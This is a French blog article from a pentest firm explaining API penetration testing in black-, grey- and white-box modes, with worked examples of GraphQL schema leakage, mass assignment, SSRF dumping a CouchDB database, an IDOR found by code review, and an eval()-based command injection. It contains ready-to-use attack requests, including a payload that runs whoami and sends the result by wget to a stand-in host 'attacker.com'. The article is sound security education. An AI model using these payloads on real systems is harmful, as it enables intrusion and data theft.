Pentest API : objectifs, méthodologie, tests en boite noire, grise et blanche

Les APIs sont des cibles de choix pour les attaquants en raison de leur exposition et de leur caractère « critique », notamment en termes de manipulation de données sensibles. De fait, pour minimiser le risque de failles de sécurité, il est impératif de mettre en œuvre des mesures de sécurité robustes, de comprendre les types d’attaques et d’évaluer leur impact potentiel.

Il existe plusieurs moyens d’évaluer la sécurité d’une API. Dans cet article, nous vous présentons l’approche « offensive » qui reste, selon nous, la plus efficace : les tests d’intrusion d’API (ou pentest API). Nous y détaillons les principes et objectifs ainsi que des use cases de pentest en boite noire, grise et blanche.

Plan détaillé :

En quoi consiste un pentest d’API ?

Un pentest d’API consiste à évaluer la sécurité d’une API (de tous types : REST, SOAP et GraphQL) via une mise en situation reproduisant les conditions d’une attaque réelle.

L’objectif est d’identifier toutes les vulnérabilités côté serveur et sur toutes les fonctionnalités et composantes de l’API, de mesurer leurs impacts et de proposer des correctifs afin de renforcer la sécurité du système cible. 

Périmètre d’un pentest d’API

Un pentest est une opération sur-mesure. De fait, il est possible de tester toutes les fonctionnalités de votre API ou de se focaliser sur les éléments les plus à risque, en fonction du besoin identifié.

Lors d’un test d’intrusion d’API, l’objectif des pentesters sera de trouver les vulnérabilités les plus critiques telles que répertoriées par l’OWASP et d’autres référentiels de sécurité.

Ainsi, les tests couvrent (liste non exhaustive) :

  • Les serveurs avec l’identification de services mal sécurisés, des logiciels non à jour, d’erreurs de configuration, etc.
  • Les vulnérabilités les plus courantes des APIs : défaut de contrôle d’accès (fichiers et rôles utilisateurs), les problèmes dans la gestion de l’authentification, exposition de données sensibles, Mass Assignment, injections (SQL, SSTI, commandes, etc.), etc.

Pour plus d’informations, vous pouvez consulter notre article qui explore les vulnérabilités et attaques les plus courantes sur les APIs.

Avant de présenter des use cases de pentest d’API en boite noire, grise et blanche, une petite précision importante sur la méthodologie de tests. Toute mission de pentest bien menée commence toujours par une phase de reconnaissance où l’objectif est de cartographier les éléments exposés d’une entreprise et accessibles sur le web. Nous allons voir par la suite que cette phase est capitale pour mener à bien un pentest sur tous types de cibles.

Réaliser un pentest avec Vaadata

Pentest d’une API en boite noire

En premier lieu, prenons le cas d’un test d’intrusion d’API en boite noire. De fait, le périmètre est assez restreint avec aucune documentation ni compte d’accès à la disposition des pentesters.

La phase de reconnaissance sera d’autant plus importante. Ici, nous allons donc énumérer les domaines ainsi que les sous domaines appartenant à l’entreprise cliente ; et nous verrons que cette étape peut être d’une grande utilité. De plus, nous allons réaliser un scan des ports ouverts sur le serveur mais cela n’apportera en général que peu d’informations sur l’API cible.

Après l’extraction des sous-domaines, nous analysons rapidement les services et notamment les services web présents dessus. Cela permet de détecter d’éventuelles fuites d’informations techniques.

Un cas que nous rencontrons couramment lors de pentests consiste en l’identification d’un sous-domaine de développement avec le mode DEBUG de Symfony activé.

On peut rapidement le voir si une barre servant au debug de l’application est présente en bas de la page (comme on le voit sur la capture ci-dessous).

Ceci est bien évidemment une mauvaise configuration de sécurité qui va faire fuiter des informations sensibles.

En effet, on peut par exemple extraire des variables d’environnement grâce au phpinfo(), des mots de passe d’utilisateurs avec le profiler (qui est une route de Symfony répertoriant les requêtes effectuées sur le serveur), le code source (car il est possible de récupérer les fichiers en connaissant leur chemin).

Par ailleurs, un autre élément assez précieux dans ce contexte en boite noire est l’extraction des routes d’API.

Depuis l’interface de Symfony, il est possible d’avoir accès aux routes de l’API depuis l’onglet « Routing ».

Ainsi, un pentester pourra effectuer des tests sur tous les endpoints. Le profiler recensant les requêtes déjà effectuées, les noms des paramètres peuvent fuiter.

Il arrive que nous devions tester une API GraphQL qui a des vulnérabilités spécifiques et que l’on ne retrouve pas dans une API REST.

La particularité de ce type d’API est qu’il n’y a qu’un seul endpoint mais la requête va intégrer l’objet et les champs d’un objet à renvoyer par le serveur.

Une fonctionnalité appelée l’introspection est présente pour une API GraphQL permettant de faciliter le travail des développeurs. Cette fonctionnalité n’est pas tout le temps désactivé sur un environnement de production et donc le travail en boîte noire sera plus exhaustif car l’auditeur aura ainsi accès à toutes les requêtes existantes ainsi que le nom des objets et des champs.

Même si cette fonctionnalité est désactivée, une fuite d’informations techniques peut arriver avec les suggestions faites par GraphQL. Lorsqu’une erreur de frappe a été faite dans la requête, le serveur va suggérer des champs qui ressemblent et existant (comme on peut le voir ci-dessous).

POST /graphql HTTP/1.1
Host: localhost:5013
Content-Type: application/json; charset=utf-8
Content-Length: 25

{"query":"query{system}"}
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 202
Date: Thu, 09 Nov 2023 14:49:58 GMT

{"errors":[{"message":"Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemDebug\", \"systemUpdate\" or \"systemHealth\"?","locations":[{"line":1,"column":7}]}]}

En envoyant de nombreuses requêtes sur l’API, il est alors possible de reconstruire une partie voire l’intégralité du schéma GraphQL.

Pour remédier à cela, il suffit de désactiver la fonctionnalité de suggestion de GraphQL.

Les 2 exemples précédents ne constituent pas la majorité des tests d’intrusion. Une technique que nous pouvons toujours utiliser est la découverte d’endpoints grâce à des dictionnaires contenant des noms de routes courants dans des applications web.

Des outils comme FeroxBuster permettent de faire cela très facilement. Attention tout de même avec l’utilisation de ce genre d’outil au nombre de thread utilisé car un nombre trop important peut causer une interruption de service du serveur.

Une fois muni d’un dictionnaire pertinent, nous pouvons lancer l’énumération. Les routes implémentées par l’API vont alors répondre par un code HTTP différent de celle qui n’existe pas.

Par exemple, la route /register peut être très utile pour un attaquant. Il faut encore qu’il ait les noms des paramètres à utiliser dans le corps de la requête, mais il est souvent possible de les deviner. On peut ré-utiliser le principe de l’attaque par dictionnaire avec des outils comme ParamMiner (disponible sur BurpSuite). Il pourra se créer un compte et donc obtenir un jeton d’authentification permettant d’appeler toutes les autres routes de l’API.

Lors de nos missions, il arrive régulièrement que nous trouvions des fichiers swagger.json accessibles publiquement. C’est un fichier répertoriant toutes les routes d’une API ainsi que les paramètres associés (on peut aussi y retrouver des commentaires sur le but de chaque route).

Des interfaces existent comme SwaggerEditor pour tester directement les endpoints depuis notre navigateur. Si nous trouvons cet élément lors d’un pentest en boite noire, nous nous rapprocherons des conditions de la boite grise.

Pentest d’une API en boite grise

En effet, le client peut nous fournir ce fichier swagger.json ce qui va nous faciliter grandement les tests. Comme évoqué précédemment, nous pouvons l’utiliser directement depuis un éditeur comme SwaggerEditor sur un sous-domaine du client, ou des outils en local peuvent nous aider aussi comme Insomnia.

Ce fichier n’est pas tout le temps fourni mais des comptes de tests nous serons obligatoirement fournis pour être en boîte grise. Nous pourrons donc interroger toutes les routes de l’API et obtenir une réponse autorisée. Il n’est pas tout le temps simple de savoir quel rôle a le droit de faire tel requête sans avoir accès à l’interface graphique (où l’on peut le voir rapidement en fonction des sections non affichées à un utilisateur ne possédant pas le rôle nécessaire).

Voici l’interface graphique de SwaggerEditor :

Nous avons la liste des endpoints qui peuvent être compartimentés en plusieurs sections : les paramètres à utiliser, leur type (chaîne de caractères, nombres, etc.), le format d’une réponse valide, etc.

Le fait de passer directement par un navigateur va nous permettre d’avoir toutes les requêtes dans BurpSuite. Nous pourrons alors utiliser plusieurs fonctionnalités de l’outil comme le Repeater (pour rejouer les requêtes), l’Intruder (pour énumérer des identifiants d’un objet par exemple), ou encore le Scanner (qui va faire des tests automatiques sur les points d’insertion que nous lui aurons fourni).

Une vulnérabilité que l’on retrouve régulièrement sur des APIs est le Mass Assignment. C’est le fait de pouvoir modifier le champ d’un objet sans que cela soit prévu.

Imaginons le cas d’une application permettant de gérer son agenda et de le partager avec ses collaborateurs.

L’utilisateur peut changer la date d’un rendez-vous avec la requête suivante :

PATCH /auth/appointment /137/ HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"date”: “09/11/2023"}

Réponse :

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”:137, “title”: “Lancement projet“, date”: “09/11/2023”,”}

Le seul champ modifié par l’utilisateur est la date du rendez-vous et c’est pour cela que la requête ne comporte que la date. Il ne faut pas penser que l’utilisateur ne peut modifier que cette partie dans un objet de type « appointment ». Il est possible que l’objet soit modifié en prenant en compte l’intégralité de l’objet présent dans la requête.

La réponse comportant le modèle de l’objet, un attaquant pourra alors ajouter le champ « id » dans sa requête :

PATCH /auth/appointment /137/ HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{“id”:136, "date”: “09/11/2023"}

Réponse :

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”:136, “title”: “Prospection client“, date”: “09/11/2023”,”}

On voit dans la réponse que l’utilisateur a pu écraser les données d’un autre rendez-vous qui ne lui appartient pas. L’impact peut être encore plus important ; il pourrait aussi supprimer d’autres rendez-vous dans son organisation ou pire d’une autre organisation si la base de données est partagée entre les clients.

Dans cette application d’agenda, il est possible d’attacher un document à un rendez-vous pour par exemple, donner des détails sur la réunion à tous les participants.

La requête pour récupérer le document est la suivante :

GET /auth/document /aef452cf1g15f /?location={SOURCE_REPOSITORY_ENDPOINT}/document/ aef452cf1g15f
 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{“id”:aef452cf1g15f, "

Réponse :

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”: aef452cf1g15f, “title”: “Annexe1“, content”: “Les informations utiles à la réunion … [TRUNCATED DATA]”}

Le paramètre « location » peut faire penser à une vulnérabilité de type Path Traversal ou une Server-Side Request Forgery (SSRF).

Lors de notre pentest, c’est en testant une payload correspondant à une Path Traversal que nous avons en fait découvert une SSRF. En effet, avec une valeur du paramètre « location » à

Location={SOURCE_REPOSITORY_ENDPOINT}/document/ aef452cf1g15f/../..

Nous avons obtenu la réponse suivante :

{«couchdb":"Welcome","version":"3.1.1"}

Cela signifie que la base de données utilisée est CouchDB (NoSQL) mais surtout que nous pouvons manipuler les requêtes que va faire le serveur sur cette base de données en local.

En regardant la documentation de cette base de données, on se rend compte qu’il est possible d’effectuer diverses actions sur la base de données. Une des actions les plus critiques serait de pouvoir extraire toutes les données stockées. Il est possible de le faire en mettant :

Location={SOURCE_REPOSITORY_ENDPOINT}/document/ _all_docs?include_docs=true

Il se pourrait même que cela crée un déni de service si trop de documents sont à renvoyer par le serveur.

Lors d’un pentest d’application web, nous avons découvert une vulnérabilité liée à la configuration et à la mauvaise gestion des contrôles de droits sur une API GraphQL.

En profitant également d’une IDOR, cette vulnérabilité critique nous a permis de sortir du cloisonnement et d’accéder à des données appartenant à d’autres instances. Nous vous expliquons comment en présentant, dans un premier temps, les différentes étapes pour exploiter GraphQL avant d’exposer le cas concret rencontré lors du pentest.

Pour plus d’informations, vous pouvez consulter notre write-up dédié présentant une exploitation multi-tenant d’une API GraphQL via une IDOR.

Pentest d’une API en boite blanche

La boîte blanche est le mode de mission qui garantit le mieux l’exhaustivité des tests. Même si cette dernière peut être atteinte en boîte grise en ayant le fichier swagger.json, la revue de code permet de mieux comprendre comment sont manipulés les paramètres et aussi comment est implémenté la gestion des droits sur chaque route. Et notamment, cela peut nous permettre de repérer des problèmes de droits sur des APIs contentant beaucoup de routes différentes.

Un exemple qui arrive souvent lors de nos pentests est de détecter un problème de droits et plus précisément une IDOR sur une API. Ces problèmes sont souvent détectés en faisant des tests de droits avec plusieurs comptes utilisateurs possédant des données séparées. Une fois la faille détectée, nous analysons le code source pour comprendre quelle protection est manquante et à quel endroit.

Dans l’exemple pris, nous sommes en présence d’une application avec un framework JavaScript au niveau du backend.

Nous détectons que le décorateur @UseGuards est utilisé avec plusieurs valeurs possibles : « Admin » (vérifié si l’utilisateur a les droits administrateurs), « AdminForOrganization » (vérifie si l’admin a les droits pour une organisation précise), etc.

Une fois que nous avons compris cela, un moyen de procéder pourrait être de parcourir tous les Controllers de l’application et regarder les décorateurs utilisés sur chaque route d’API. Cela peut être un travail fastidieux si plus d’une cinquantaine route d’API existent.

Une alternative pour gagner du temps et ne pas avoir d’oubli est d’utiliser un outil comme grep (nativement installé sur Linux).

On peut avoir un aperçu rapide des décorateurs utilisés avec la commande suivante :

grep '@UseGuards(Admin)' ./ -n -r -A 1 -B 1

Cette commande va afficher la ligne précédant et suivant l’occurrence ‘@UseGuards(Admin)’ ainsi que les numéros de ligne.

50-  @Get('/organizations/:organizationId')
51:  @UseGuards(Admin)
52-  @UseGuards(AdminForOrganization)
--
74-  @Patch('/organization/:organizationId')
75:  @UseGuards(Admin)
76-  @UseGuards(AdminForOrganization)
--
95-  @Get('/organization/:organizationId/api-settings')
96:  @UseGuards(Admin)
97-  @ApiErros('auth.unauthorized')

On repère ainsi les routes d’API et les autorisations nécessaires pour les appeler. On peut voir que la dernière route /organization/:organizationId/api-settings n’est protégé que par un seul contrôle de droits et non deux comme les autres. Un problème de droits vient d’être détecté.

L’application ne vérifie pas si l’administrateur est bien relié à l’organisation dont il spécifie l’organizationId. En passant un organizationId d’une compagnie auquel il n’a pas accès, un utilisateur de type « administrateur » pourra voir les « api-settings » de n’importe quelle entreprise présente sur la plateforme.

C’est un exemple de problème de droit mais différents scénarios peuvent être imaginés pour avoir accès à des données auxquelles on ne devrait pas ; en ayant bien compris la gestion des droits fait par les développeurs, l’outil grep peut être utilisé pour couvrir tous les scénarios possibles.

Il n’existe pas une seule solution pour régler des problèmes de droit, car cela peut être lié à un oubli des développeurs ou bien une mauvaise implémentation du système de droit. La bonne pratique à voir en tête est le principe du moindre privilège, c’est-à-dire que par défaut il ne faut pas donner de droit à un type d’utilisateur et on lui accorde des privilèges au fur et à mesure des besoins de l’application.

Imaginons une API liée à une plateforme de comptabilité qui laisse la possibilité à ses utilisateurs de rentrer une formule mathématique et le résultat sera inséré dans un tableau. Le calcul sera effectué par le serveur, ce qui fait donc de cette fonctionnalité une partie très sensible de l’application.

En analysant le code source, il est assez simple d’identifier la présence d’une injection de commande. C’est une des vulnérabilités les plus critiques qui puissent exister, presque indépendamment du contexte.

Voici le code source responsable du calcul de la formule mathématique :

    calculate(formula) {
        try {
            return eval(`(function() { return ${ formula } ;}())`);

Le paramètre “formula” est contrôlable par l’utilisateur et il est injecté dans la fonction eval, qui est une fonction dangereuse de JavaScript. Ici, c’est l’exploitation la plus simple possible d’une injection de commande, car aucun filtre sur l’entrée utilisateur n’est présent.

Il suffit donc d’écrire du code JavaScript dans le paramètre « formula » pour exécuter du code sur le serveur comme la payload suivante :

require('child_process').exec('wget attacker.com/`whoami`)

L’attaquant va recevoir une requête HTTP sur son serveur avec le contenu de la commande whoami dans l’URL.

Dans cette situation, le développeur devra bien penser à nettoyer l’entrée utilisateur et par exemple n’autoriser que les chiffres et les opérateurs mathématiques.

Réaliser un pentest d’API avec Vaadata, entreprise spécialisée en sécurité offensive

Il est important d’évaluer le niveau de résistance de vos APIs face aux attaques décrites dans cet article.

Cette évaluation peut être réalisée par l’un des audits que nous proposons. Qu’elle soit réalisée en boite noire, grise ou blanche, nous vous proposons d’identifier toutes les vulnérabilités de votre API et de vous accompagner dans leur correction.

Auteur : Julien BRACON – Pentester @Vaadata